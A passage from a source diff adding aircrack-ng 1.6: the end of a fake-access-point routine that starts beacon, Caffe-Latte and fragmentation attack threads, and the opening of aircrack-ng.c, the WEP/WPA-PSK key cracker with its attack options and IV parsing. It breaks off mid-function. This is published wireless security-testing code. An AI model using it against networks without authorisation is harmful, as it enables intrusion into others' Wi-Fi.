+	if (wi_get_mtu(_wi_out) < lopt.wif_mtu)
+	{
+		if (!opt.quiet)
+		{
+			PCT;
+			printf("Trying to set MTU on %s to %i\n",
+				   _wi_out->wi_interface,
+				   lopt.wif_mtu);
+		}
+		if (wi_set_mtu(_wi_out, lopt.wif_mtu) != 0)
+		{
+			lopt.wif_mtu = wi_get_mtu(_wi_out);
+			if (!opt.quiet)
+			{
+				printf("error setting MTU on %s\n", _wi_out->wi_interface);
+				PCT;
+				printf("MTU on %s remains at %i\n",
+					   _wi_out->wi_interface,
+					   lopt.wif_mtu);
+			}
+		}
+	}
+
+	if (lopt.external)
+	{
+		dev.dv_ti2 = ti_open(NULL);
+		if (!dev.dv_ti2)
+		{
+			printf("error opening tap device: %s\n", strerror(errno));
+			return (EXIT_FAILURE);
+		}
+		if (!opt.quiet)
+		{
+			PCT;
+			printf("Created tap interface %s for external processing.\n",
+				   ti_name(dev.dv_ti2));
+			printf("You need to get the interfaces up, read the fames "
+				   "[,modify]\n");
+			printf("and send them back through the same interface \"%s\".\n",
+				   ti_name(dev.dv_ti2));
+		}
+	}
+
+	if (lopt.channel > 0) wi_set_channel(_wi_out, lopt.channel);
+
+	if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0 && !lopt.adhoc)
+	{
+		wi_get_mac(_wi_out, opt.r_bssid);
+	}
+
+	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
+	{
+		wi_get_mac(_wi_out, opt.r_smac);
+	}
+
+	if (lopt.adhoc)
+	{
+		for (i = 0; i < 6; i++) // random cell
+			opt.r_bssid[i] = rand_u8();
+
+		// generate an even first byte
+		if (opt.r_bssid[0] & 0x01) opt.r_bssid[0] ^= 0x01;
+	}
+
+	memcpy(apc.bssid, opt.r_bssid, 6);
+	if (getESSIDcount() == 1 && lopt.hidden != 1)
+	{
+		apc.essid = (char *) malloc(MAX_IE_ELEMENT_SIZE + 1);
+		ALLEGE(apc.essid != NULL);
+		apc.essid_len = getESSID(apc.essid);
+		apc.essid = (char *) realloc((void *) apc.essid, apc.essid_len + 1u);
+		ALLEGE(apc.essid != NULL);
+		apc.essid[apc.essid_len] = 0x00;
+	}
+	else
+	{
+		apc.essid = "\x00";
+		apc.essid_len = 1;
+	}
+	apc.interval = lopt.interval;
+	apc.capa[0] = 0x00;
+	if (lopt.adhoc)
+		apc.capa[0] |= 0x02;
+	else
+		apc.capa[0] |= 0x01;
+	if ((opt.crypt == CRYPT_WEP && lopt.setWEP == -1) || lopt.setWEP == 1)
+		apc.capa[0] |= 0x10;
+	apc.capa[1] = 0x04;
+
+	if (ti_set_mac(dev.dv_ti, opt.r_bssid) != 0)
+	{
+		printf("\n");
+		perror("ti_set_mac failed");
+		printf(
+			"You most probably want to set the MAC of your TAP interface.\n");
+		printf("ifconfig <iface> hw ether %02X:%02X:%02X:%02X:%02X:%02X\n\n\n",
+			   opt.r_bssid[0],
+			   opt.r_bssid[1],
+			   opt.r_bssid[2],
+			   opt.r_bssid[3],
+			   opt.r_bssid[4],
+			   opt.r_bssid[5]);
+	}
+
+	if (lopt.external)
+	{
+		if (ti_set_mac(dev.dv_ti2, (unsigned char *) "\xba\x98\x76\x54\x32\x10")
+			!= 0)
+		{
+			printf("Couldn't set MAC on interface \"%s\".\n",
+				   ti_name(dev.dv_ti2));
+		}
+	}
+	// start sending beacons
+	if (pthread_create(
+			&(beaconpid), NULL, (void *) beacon_thread, (void *) &apc)
+		!= 0)
+	{
+		perror("Beacons pthread_create");
+		return (EXIT_FAILURE);
+	}
+
+	if (lopt.caffelatte)
+	{
+		arp = (struct ARP_req *) malloc(opt.ringbuffer
+										* sizeof(struct ARP_req));
+		ALLEGE(arp != NULL);
+
+		if (pthread_create(
+				&(caffelattepid), NULL, (void *) caffelatte_thread, NULL)
+			!= 0)
+		{
+			perror("Caffe-Latte pthread_create");
+			return (EXIT_FAILURE);
+		}
+	}
+
+	if (lopt.cf_attack)
+	{
+		if (pthread_create(&(cfragpid), NULL, (void *) cfrag_thread, NULL) != 0)
+		{
+			perror("cfrag pthread_create");
+			return (EXIT_FAILURE);
+		}
+	}
+
+	if (!opt.quiet)
+	{
+		if (lopt.adhoc)
+		{
+			PCT;
+			printf("Sending beacons in Ad-Hoc mode for Cell "
+				   "%02X:%02X:%02X:%02X:%02X:%02X.\n",
+				   opt.r_bssid[0],
+				   opt.r_bssid[1],
+				   opt.r_bssid[2],
+				   opt.r_bssid[3],
+				   opt.r_bssid[4],
+				   opt.r_bssid[5]);
+		}
+		else
+		{
+			PCT;
+			printf("Access Point with BSSID %02X:%02X:%02X:%02X:%02X:%02X "
+				   "started.\n",
+				   opt.r_bssid[0],
+				   opt.r_bssid[1],
+				   opt.r_bssid[2],
+				   opt.r_bssid[3],
+				   opt.r_bssid[4],
+				   opt.r_bssid[5]);
+		}
+	}
+
+	for (;;)
+	{
+		if (opt.s_file != NULL)
+		{
+			n = sizeof(pkh);
+
+			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
+			{
+				PCT;
+				printf("Finished reading input file %s.\n", opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
+			{
+				SWAP32(pkh.caplen);
+				SWAP32(pkh.len);
+			}
+
+			n = caplen = pkh.caplen;
+
+			if (n <= 0 || n > (int) sizeof(h80211))
+			{
+				PCT;
+				printf("Finished reading input file %s.\n", opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
+			{
+				PCT;
+				printf("Finished reading input file %s.\n", opt.s_file);
+				opt.s_file = NULL;
+				continue;
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
+			{
+				if (h80211[7] == 0x40)
+					n = 64;
+				else
+					n = *(int *) (h80211 + 4); //-V1032
+
+				if (n < 8 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
+			{
+				/* remove the radiotap header */
+
+				n = *(unsigned short *) (h80211 + 2);
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
+			{
+				/* remove the PPI header */
+
+				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
+
+				if (n <= 0 || n >= (int) caplen) continue;
+
+				/* for a while Kismet logged broken PPI headers */
+				if (n == 24
+					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
+					n = 32;
+
+				if (n <= 0 || n >= (int) caplen) continue; //-V560
+
+				memcpy(tmpbuf, h80211, caplen);
+				caplen -= n;
+				memcpy(h80211, tmpbuf + n, caplen);
+			}
+
+			packet_recv(h80211, caplen, &apc, (lopt.external & EXT_IN));
+			msleep(1000 / opt.r_nbpps);
+			continue;
+		}
+
+		FD_ZERO(&read_fds);
+		FD_SET(dev.fd_in, &read_fds);
+		FD_SET(ti_fd(dev.dv_ti), &read_fds);
+		if (lopt.external)
+		{
+			FD_SET(ti_fd(dev.dv_ti2), &read_fds);
+			ret_val = select(
+				MAX(ti_fd(dev.dv_ti), MAX(ti_fd(dev.dv_ti2), dev.fd_in)) + 1,
+				&read_fds,
+				NULL,
+				NULL,
+				NULL);
+		}
+		else
+			ret_val = select(MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1,
+							 &read_fds,
+							 NULL,
+							 NULL,
+							 NULL);
+		if (ret_val < 0) break;
+		if (ret_val > 0)
+		{
+			if (FD_ISSET(ti_fd(dev.dv_ti), &read_fds))
+			{
+				len = ti_read(dev.dv_ti, buffer, sizeof(buffer));
+				if (len > 0)
+				{
+					packet_xmit(buffer, len);
+				}
+			}
+			if (lopt.external && FD_ISSET(ti_fd(dev.dv_ti2), &read_fds))
+			{
+				len = ti_read(dev.dv_ti2, buffer, sizeof(buffer));
+				if (len > 0)
+				{
+					packet_xmit_external(buffer, len, &apc);
+				}
+			}
+			if (FD_ISSET(dev.fd_in, &read_fds))
+			{
+				len = read_packet(_wi_in, buffer, sizeof(buffer), NULL);
+				if (len > 0)
+				{
+					packet_recv(buffer, len, &apc, (lopt.external & EXT_IN));
+				}
+			}
+		} // if( ret_val > 0 )
+	} // for( ; ; )
+
+	ti_close(dev.dv_ti);
+
+	/* that's all, folks */
+
+	return (EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/aircrack-ng Added

aircrack-ng-1.6.tar.gz/src/aircrack-ng/aircrack-ng.c Added

@@ -0,0 +1,7003 @@
+/*
+ *  802.11 WEP / WPA-PSK Key Cracker
+ *
+ *  Copyright (C) 2006-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *  Copyright (C) 2004, 2005 Christophe Devine
+ *
+ *  Advanced WEP attacks developed by KoreK
+ *  WPA-PSK  attack code developed by Joshua Wright
+ *  SHA1 MMX assembly code written by Simon Marechal
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#define _GNU_SOURCE
+
+#include <ctype.h>
+#include <dlfcn.h>
+#include <err.h>
+#include <errno.h>
+#include <fcntl.h>
+#include <float.h>
+#include <getopt.h>
+#include <limits.h>
+#include <math.h>
+#include <netinet/in.h>
+#include <pthread.h>
+#include <signal.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/time.h>
+#include <sys/types.h>
+#include <sys/wait.h>
+#include <termios.h>
+#include <time.h>
+#include <unistd.h>
+
+#include "aircrack-ng/defs.h"
+#include "aircrack-ng/ce-wpa/crypto_engine.h"
+#include "aircrack-ng/crypto/sha1-sse2.h"
+#include "aircrack-ng/ce-wpa/wpapsk.h"
+#include "aircrack-ng/aircrack-ng.h"
+#include "aircrack-ng/osdep/byteorder.h"
+#include "radiotap/platform.h"
+#include "aircrack-ng/adt/avl_tree.h"
+#include "aircrack-ng/support/common.h"
+#include "aircrack-ng/tui/console.h"
+#include "aircrack-ng/cpu/cpuset.h"
+#include "aircrack-ng/support/crypto_engine_loader.h"
+#include "aircrack-ng/cpu/simd_cpuid.h"
+#include "aircrack-ng/cpu/trampoline.h"
+#include "aircrack-ng/cowpatty/cowpatty.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/third-party/hashcat.h"
+#include "linecount.h"
+#include "aircrack-ng/support/pcap_local.h"
+#include "session.h"
+#include "aircrack-ng/ce-wep/uniqueiv.h"
+#include "aircrack-ng/version.h"
+#include "wkp-frame.h"
+#include "aircrack-ng/osdep/osdep.h"
+#include "aircrack-ng/third-party/ieee80211.h"
+#include "aircrack-ng/third-party/ethernet.h"
+
+#ifdef HAVE_SQLITE
+#include <sqlite3.h>
+
+static sqlite3 * db = NULL; //-V707
+#else
+static char * db = NULL; ///-V707
+#endif
+
+#ifndef DYNAMIC
+#define DYNAMIC 1
+#endif
+
+#define MIN_WPA_PASSPHRASE_LEN 2U
+
+#define H16800_PMKID_LEN 32
+#define H16800_BSSID_LEN 12
+#define H16800_STMAC_LEN 12
+
+/* stats global data */
+
+static volatile int wpa_cracked = 0;
+static int _pmkid_16800 = 0;
+static uint8_t _pmkid_16800_str[H16800_PMKID_LEN + H16800_BSSID_LEN
+								+ H16800_STMAC_LEN
+								+ MAX_PASSPHRASE_LENGTH
+								+ 3];
+static int _speed_test;
+static long _speed_test_length = 15;
+static struct timeval t_begin; /* time at start of attack      */
+static struct timeval t_stats; /* time since last update       */
+static struct timeval t_kprev; /* time at start of window      */
+static struct timeval t_dictup; /* next dictionary total read   */
+static volatile long long int nb_kprev; /* last  # of keys tried        */
+static volatile long long int nb_tried; /* total # of keys tried        */
+static ac_crypto_engine_t engine; /* crypto engine */
+static int first_wpa_threadid = 0;
+
+/* IPC global data */
+
+static struct options opt;
+static struct WEP_data wep __attribute__((aligned(64)));
+static c_avl_tree_t * access_points = NULL;
+static c_avl_tree_t * targets = NULL;
+static pthread_mutex_t mx_apl; /* lock write access to ap LL   */
+static pthread_mutex_t mx_eof; /* lock write access to nb_eof  */
+static pthread_mutex_t mx_ivb; /* lock access to ivbuf array   */
+static pthread_mutex_t mx_dic; /* lock access to opt.dict      */
+static pthread_cond_t cv_eof; /* read EOF condition variable  */
+static int nb_eof = 0; /* # of threads who reached eof */
+static long nb_pkt = 0; /* # of packets read so far     */
+static long nb_prev_pkt = 0; /* # of packets read in prior pass */
+static int mc_pipe[256][2]; /* master->child control pipe   */
+static int cm_pipe[256][2]; /* child->master results pipe   */
+static int bf_pipe[256][2]; /* bruteforcer 'queue' pipe	 */
+static int bf_nkeys[256];
+static unsigned char bf_wepkey[64];
+static volatile int wepkey_crack_success = 0;
+static volatile int close_aircrack = 0;
+static volatile int close_aircrack_fast = 0;
+static int id = 0; //-V707
+static pthread_t tid[MAX_THREADS] = {0};
+static pthread_t cracking_session_tid;
+static struct WPA_data wpa_data[MAX_THREADS];
+static volatile int wpa_wordlists_done = 0;
+static pthread_mutex_t mx_nb = PTHREAD_MUTEX_INITIALIZER;
+static pthread_mutex_t mx_wpastats = PTHREAD_MUTEX_INITIALIZER;
+static ac_cpuset_t * cpuset = NULL;
+
+typedef struct
+{
+	uint8_t mode;
+	char * filename;
+} packet_reader_t;
+
+#define PACKET_READER_CHECK_MODE 0
+#define PACKET_READER_READ_MODE 1
+
+typedef struct
+{
+	int tail;
+	int off1;
+	int off2;
+	void * buf1;
+	void * buf2;
+} read_buf;
+
+static int K_COEFF[N_ATTACKS]
+	= {15, 13, 12, 12, 12, 5, 5, 5, 3, 4, 3, 4, 3, 13, 4, 4, -20};
+
+static int PTW_DEFAULTWEIGHT[1] = {256};
+static int PTW_DEFAULTBF[PTW_KEYHSBYTES]
+	= {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
+	   0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0};
+
+static const unsigned char R[256] = {
+	0,   1,   2,   3,   4,   5,   6,   7,   8,   9,   10,  11,  12,  13,  14,
+	15,  16,  17,  18,  19,  20,  21,  22,  23,  24,  25,  26,  27,  28,  29,
+	30,  31,  32,  33,  34,  35,  36,  37,  38,  39,  40,  41,  42,  43,  44,
+	45,  46,  47,  48,  49,  50,  51,  52,  53,  54,  55,  56,  57,  58,  59,
+	60,  61,  62,  63,  64,  65,  66,  67,  68,  69,  70,  71,  72,  73,  74,
+	75,  76,  77,  78,  79,  80,  81,  82,  83,  84,  85,  86,  87,  88,  89,
+	90,  91,  92,  93,  94,  95,  96,  97,  98,  99,  100, 101, 102, 103, 104,
+	105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119,
+	120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134,
+	135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149,
+	150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164,
+	165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179,
+	180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194,
+	195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209,
+	210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224,
+	225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239,
+	240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254,
+	255};
+
+static const char usage[]
+	= "\n"
+	  "  %s - (C) 2006-2020 Thomas d\'Otreppe\n"
+	  "  https://www.aircrack-ng.org\n"
+	  "\n"
+	  "  usage: aircrack-ng [options] <input file(s)>\n"
+	  "\n"
+	  "  Common options:\n"
+	  "\n"
+	  "      -a <amode> : force attack mode (1/WEP, 2/WPA-PSK)\n"
+	  "      -e <essid> : target selection: network identifier\n"
+	  "      -b <bssid> : target selection: access point's MAC\n"
+	  "      -p <nbcpu> : # of CPU to use  (default: all CPUs)\n"
+	  "      -q         : enable quiet mode (no status output)\n"
+	  "      -C <macs>  : merge the given APs to a virtual one\n"
+	  "      -l <file>  : write key to file. Overwrites file.\n"
+	  "\n"
+	  "  Static WEP cracking options:\n"
+	  "\n"
+	  "      -c         : search alpha-numeric characters only\n"
+	  "      -t         : search binary coded decimal chr only\n"
+	  "      -h         : search the numeric key for Fritz!BOX\n"
+	  "      -d <mask>  : use masking of the key (A1:XX:CF:YY)\n"
+	  "      -m <maddr> : MAC address to filter usable packets\n"
+	  "      -n <nbits> : WEP key length :  64/128/152/256/512\n"
+	  "      -i <index> : WEP key index (1 to 4), default: any\n"
+	  "      -f <fudge> : bruteforce fudge factor,  default: 2\n"
+	  "      -k <korek> : disable one attack method  (1 to 17)\n"
+	  "      -x or -x0  : disable bruteforce for last keybytes\n"
+	  "      -x1        : last keybyte bruteforcing  (default)\n"
+	  "      -x2        : enable last  2 keybytes bruteforcing"
+	  "%s"
+	  "      -y         : experimental  single bruteforce mode\n"
+	  "      -K         : use only old KoreK attacks (pre-PTW)\n"
+	  "      -s         : show the key in ASCII while cracking\n"
+	  "      -M <num>   : specify maximum number of IVs to use\n"
+	  "      -D         : WEP decloak, skips broken keystreams\n"
+	  "      -P <num>   : PTW debug:  1: disable Klein, 2: PTW\n"
+	  "      -1         : run only 1 try to crack key with PTW\n"
+	  "      -V         : run in visual inspection mode\n"
+	  "\n"
+	  "  WEP and WPA-PSK cracking options:\n"
+	  "\n"
+	  "      -w <words> : path to wordlist(s) filename(s)\n"
+	  "      -N <file>  : path to new session filename\n"
+	  "      -R <file>  : path to existing session filename\n"
+	  "\n"
+	  "  WPA-PSK options:\n"
+	  "\n"
+	  "      -E <file>  : create EWSA Project file v3\n"
+	  "      -I <str>   : PMKID string (hashcat -m 16800)\n"
+	  "      -j <file>  : create Hashcat v3.6+ file (HCCAPX)\n"
+	  "      -J <file>  : create Hashcat file (HCCAP)\n"
+	  "      -S         : WPA cracking speed test\n"
+	  "      -Z <sec>   : WPA cracking speed test length of\n"
+	  "                   execution.\n"
+#ifdef HAVE_SQLITE
+	  "      -r <DB>    : path to airolib-ng database\n"
+	  "                   (Cannot be used with -w)\n"
+#endif
+#if DYNAMIC
+	  "\n"
+	  "  SIMD selection:\n"
+	  "\n"
+	  "      --simd-list       : Show a list of the available\n"
+	  "                          SIMD architectures, for this\n"
+	  "                          machine.\n"
+	  "      --simd=<option>   : Use specific SIMD architecture.\n"
+	  "\n"
+	  "      <option> may be one of the following, depending on\n"
+	  "      your platform:\n"
+	  "\n"
+	  "                   generic\n"
+	  "                   avx512\n"
+	  "                   avx2\n"
+	  "                   avx\n"
+	  "                   sse2\n"
+	  "                   altivec\n"
+	  "                   power8\n"
+	  "                   asimd\n"
+	  "                   neon\n"
+#endif
+	  "\n"
+	  "  Other options:\n"
+	  "\n"
+	  "      -u         : Displays # of CPUs & SIMD support\n"
+	  "      --help     : Displays this usage screen\n"
+	  "\n";
+
+static struct session * cracking_session = NULL;
+static char * progname = NULL;
+
+static inline float chrono(struct timeval * start, int reset);
+static ssize_t safe_write(int fd, void * buf, size_t len);
+static struct AP_info * hccapx_to_ap(struct hccapx * hx);
+
+static inline int append_ap(struct AP_info * new_ap)
+{
+	REQUIRE(new_ap != NULL);
+
+	return (c_avl_insert(access_points, new_ap->bssid, new_ap));
+}
+
+static long load_hccapx_file(int fd)
+{
+	REQUIRE(fd >= 0);
+
+	hccapx_t hx;
+	struct AP_info * ap_cur = NULL;
+
+	lseek(fd, 0, SEEK_SET);
+
+	while (read(fd, &hx, sizeof(hccapx_t)))
+	{
+		nb_pkt++;
+		ap_cur = hccapx_to_ap(&hx);
+		append_ap(ap_cur);
+	}
+
+	return (nb_pkt);
+}
+
+static struct AP_info * get_first_target(void)
+{
+	struct AP_info * target = NULL;
+	void * key;
+	c_avl_iterator_t * it = c_avl_get_iterator(targets);
+	c_avl_iterator_next(it, &key, (void **) &target);
+	c_avl_iterator_destroy(it);
+	return (target);
+}
+
+static void destroy_ap(struct AP_info * ap)
+{
+	REQUIRE(ap != NULL);
+
+	struct ST_info * st_tmp = NULL;
+
+	destroy(ap->ivbuf, free);
+
+	if (ap->stations != NULL)
+	{
+		void * key = NULL;
+		while (c_avl_pick(ap->stations, &key, (void **) &st_tmp) == 0)
+		{
+			INVARIANT(st_tmp != NULL);
+
+			free(st_tmp);
+		}
+		c_avl_destroy(ap->stations);
+		ap->stations = NULL;
+	}
+
+	destroy(ap->uiv_root, uniqueiv_wipe);
+
+	if (ap->ptw_clean) destroy(ap->ptw_clean->allsessions, free);
+	destroy(ap->ptw_clean, free);
+
+	if (ap->ptw_vague) destroy(ap->ptw_vague->allsessions, free);
+	destroy(ap->ptw_vague, free);
+}
+
+static void ac_aplist_free(void)
+{
+	ALLEGE(pthread_mutex_lock(&mx_apl) == 0);
+
+	struct AP_info * ap_cur = NULL;
+	void * key;
+
+	while (c_avl_pick(access_points, &key, (void **) &ap_cur) == 0)
+	{
+		INVARIANT(ap_cur != NULL);
+
+		destroy(ap_cur, destroy_ap);
+	}
+
+	ALLEGE(pthread_mutex_unlock(&mx_apl) == 0);
+}
+
+/**
+ * Release all unused AP base-stations stored in \a access_points, keeping
+ * only the specified \a ap_cur AP base-station.
+ *
+ * @param ap_cur The AP base-station to keep.
+ */
+static void ap_avl_release_unused(struct AP_info * ap_cur)
+{
+	REQUIRE(ap_cur != NULL);
+
+	c_avl_tree_t * tmp_access_points = c_avl_create(station_compare);
+	c_avl_insert(tmp_access_points, ap_cur->bssid, ap_cur);
+
+	ALLEGE(pthread_mutex_lock(&mx_apl) == 0);
+
+	void * key = NULL;
+	struct AP_info * ap_tmp = NULL;
+	while (c_avl_pick(access_points, &key, (void **) &ap_tmp) == 0)
+	{
+		INVARIANT(ap_tmp != NULL);
+
+		if (ap_tmp != ap_cur)
+		{
+			destroy_ap(ap_tmp);
+			free(ap_tmp);
+		}
+	}
+
+	c_avl_destroy(access_points);
+	access_points = tmp_access_points;
+
+	ALLEGE(pthread_mutex_unlock(&mx_apl) == 0);
+}
+
+static int
+add_wep_iv(struct AP_info * ap, unsigned char * buffer, packet_reader_t * me)
+{
+	REQUIRE(ap != NULL);
+	REQUIRE(buffer != NULL);
+
+	/* check for uniqueness first */
+	if (ap->nb_ivs == 0) ap->uiv_root = uniqueiv_init();
+
+	if (uniqueiv_check(ap->uiv_root, buffer) == 0)
+	{
+		if (me->mode == PACKET_READER_READ_MODE)
+		{
+			/* add the IV & first two encrypted bytes */
+
+			long n = ap->nb_ivs * 5;
+
+			if (n + 5 > ap->ivbuf_size || ap->ivbuf == NULL)
+			{
+				/* enlarge the IVs buffer */
+
+				ap->ivbuf_size += 131072;
+				uint8_t * tmp_ivbuf
+					= realloc(ap->ivbuf, (size_t) ap->ivbuf_size);
+				if (tmp_ivbuf == NULL)
+				{
+					perror("realloc failed");
+					return (-1);
+				}
+				ap->ivbuf = tmp_ivbuf;
+			}
+
+			memcpy(ap->ivbuf + n, buffer, 5);
+		}
+
+		uniqueiv_mark(ap->uiv_root, buffer);
+		ap->nb_ivs++;
+	}
+
+	return (0);
+}
+
+static int parse_ivs2(struct AP_info * ap_cur,
+					  struct ivs2_pkthdr * pivs2,
+					  unsigned char * buffer,
+					  packet_reader_t * me)
+{
+	REQUIRE(ap_cur != NULL);
+	REQUIRE(pivs2 != NULL);
+	REQUIRE(buffer != NULL);
+
+	int weight[16];
+	struct ivs2_pkthdr ivs2 = *pivs2;
+	long n = 0;
+
+	if (ivs2.flags & IVS2_ESSID)
+	{
+		memcpy(ap_cur->essid, buffer, ivs2.len);
+	}
+	else if (ivs2.flags & IVS2_XOR)
+	{
+		ap_cur->crypt = 2;
+
+		if (opt.do_ptw)
+		{
+			int clearsize;
+
+			clearsize = ivs2.len;
+
+			if (clearsize < opt.keylen + 3) return (-2);
+
+			if (PTW_addsession(ap_cur->ptw_clean,
+							   buffer,
+							   buffer + 4,
+							   PTW_DEFAULTWEIGHT,
+							   1))
+				ap_cur->nb_ivs_clean++;
+
+			if (PTW_addsession(ap_cur->ptw_vague,
+							   buffer,
+							   buffer + 4,
+							   PTW_DEFAULTWEIGHT,
+							   1))
+				ap_cur->nb_ivs_vague++;
+
+			return (-2);
+		}
+
+		buffer[3] = buffer[4];
+		buffer[4] = buffer[5];
+		buffer[3] ^= 0xAA;
+		buffer[4] ^= 0xAA;
+		/* check for uniqueness first */
+
+		if (ap_cur->nb_ivs == 0) ap_cur->uiv_root = uniqueiv_init();
+
+		if (uniqueiv_check(ap_cur->uiv_root, buffer) == 0)
+		{
+			if (me->mode == PACKET_READER_READ_MODE)
+			{
+				/* add the IV & first two encrypted bytes */
+
+				n = ap_cur->nb_ivs * 5;
+
+				if (n + 5 > ap_cur->ivbuf_size)
+				{
+					/* enlarge the IVs buffer */
+
+					ap_cur->ivbuf_size += 131072;
+					uint8_t * tmp_ivbuf
+						= realloc(ap_cur->ivbuf, (size_t) ap_cur->ivbuf_size);
+					if (tmp_ivbuf == NULL)
+					{
+						perror("realloc failed");
+						return (-1);
+					}
+					ap_cur->ivbuf = tmp_ivbuf;
+				}
+
+				memcpy(ap_cur->ivbuf + n, buffer, 5);
+			}
+			uniqueiv_mark(ap_cur->uiv_root, buffer);
+			ap_cur->nb_ivs++;
+		}
+	}
+	else if (ivs2.flags & IVS2_PTW)
+	{
+		ap_cur->crypt = 2;
+
+		if (opt.do_ptw)
+		{
+			int clearsize;
+
+			clearsize = ivs2.len;
+
+			if (buffer[5] < opt.keylen) return (-4);
+			if (clearsize < (6 + buffer[4] * 32 + 16 * (signed) sizeof(int)))
+				return (-5);
+
+			memcpy(weight,
+				   buffer + clearsize - 15 * sizeof(int),
+				   16 * sizeof(int));
+
+			ALLEGE(ap_cur->ptw_vague != NULL);
+
+			if (PTW_addsession(
+					ap_cur->ptw_vague, buffer, buffer + 6, weight, buffer[4]))
+				ap_cur->nb_ivs_vague++;
+
+			return (-6);
+		}
+
+		buffer[3] = buffer[6];
+		buffer[4] = buffer[7];
+		buffer[3] ^= 0xAA;
+		buffer[4] ^= 0xAA;
+		/* check for uniqueness first */
+
+		if (ap_cur->nb_ivs == 0) ap_cur->uiv_root = uniqueiv_init();
+
+		if (uniqueiv_check(ap_cur->uiv_root, buffer) == 0)
+		{
+			if (me->mode == PACKET_READER_READ_MODE)
+			{
+				/* add the IV & first two encrypted bytes */
+
+				n = ap_cur->nb_ivs * 5;
+
+				if (n + 5 > ap_cur->ivbuf_size)
+				{
+					/* enlarge the IVs buffer */
+
+					ap_cur->ivbuf_size += 131072;
+					uint8_t * tmp_ivbuf
+						= realloc(ap_cur->ivbuf, (size_t) ap_cur->ivbuf_size);
+					if (tmp_ivbuf == NULL)
+					{
+						perror("realloc failed");
+						return (-1);
+					}
+					ap_cur->ivbuf = tmp_ivbuf;
+				}
+
+				memcpy(ap_cur->ivbuf + n, buffer, 5);
+			}
+			uniqueiv_mark(ap_cur->uiv_root, buffer);
+			ap_cur->nb_ivs++;
+		}
+	}
+	else if (ivs2.flags & IVS2_WPA)
+	{
+		ap_cur->crypt = 3;
+		memcpy(&ap_cur->wpa, buffer, sizeof(struct WPA_hdsk));
+	}
+
+	return (0);
+}
+
+static void clean_exit(int ret)
+{
+	int i = 0;
+
+	char tmpbuf[128];
+	memset(tmpbuf, 0, 128);
+
+	close_aircrack = 1;
+	if (ret)
+	{
+		if (!opt.is_quiet)
+		{
+			printf("\nQuitting aircrack-ng...\n");
+			fflush(stdout);
+		}
+
+		close_aircrack_fast = 1;
+
+		return;
+	}
+
+	if (opt.dict)
+	{
+		ALLEGE(fclose(opt.dict) == 0);
+		opt.dict = NULL;
+	}
+
+	for (i = 0; i < opt.nbcpu; i++)
+	{
+#ifndef CYGWIN
+		safe_write(mc_pipe[i][1], (void *) "EXIT\r", 5);
+		safe_write(bf_pipe[i][1], (void *) tmpbuf, 64);
+#endif
+		close(mc_pipe[i][0]);
+		close(mc_pipe[i][1]);
+		close(cm_pipe[i][0]);
+		close(cm_pipe[i][1]);
+		close(bf_pipe[i][0]);
+		close(bf_pipe[i][1]);
+	}
+
+	// Stop cracking session thread
+	if (cracking_session)
+	{
+		ALLEGE(pthread_join(cracking_session_tid, NULL) == 0);
+	}
+
+	for (i = 0; i < opt.nbcpu; i++)
+		if (tid[i] != 0)
+		{
